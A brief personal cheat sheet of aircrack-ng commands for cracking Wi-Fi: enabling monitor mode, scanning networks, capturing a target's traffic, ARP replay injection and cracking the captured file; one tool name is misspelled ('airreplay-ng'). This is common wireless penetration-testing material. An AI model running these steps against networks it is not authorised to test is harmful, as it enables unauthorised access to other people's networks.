Need USB network adaptor for virtual machine
# start monitoring interface
$ airmon-ng start wlan0
# see networks
$ airodump-ng wlan0mon
# capture
$ airodump-ng --bssid <bssid> -c <channel> -w <file> wlan0mon
# longer is easier to crack?
$ airreplay-ng -3 -b <bssid> -h <station> wlan0mon
# crack
$ aircrack-ng <file>.cap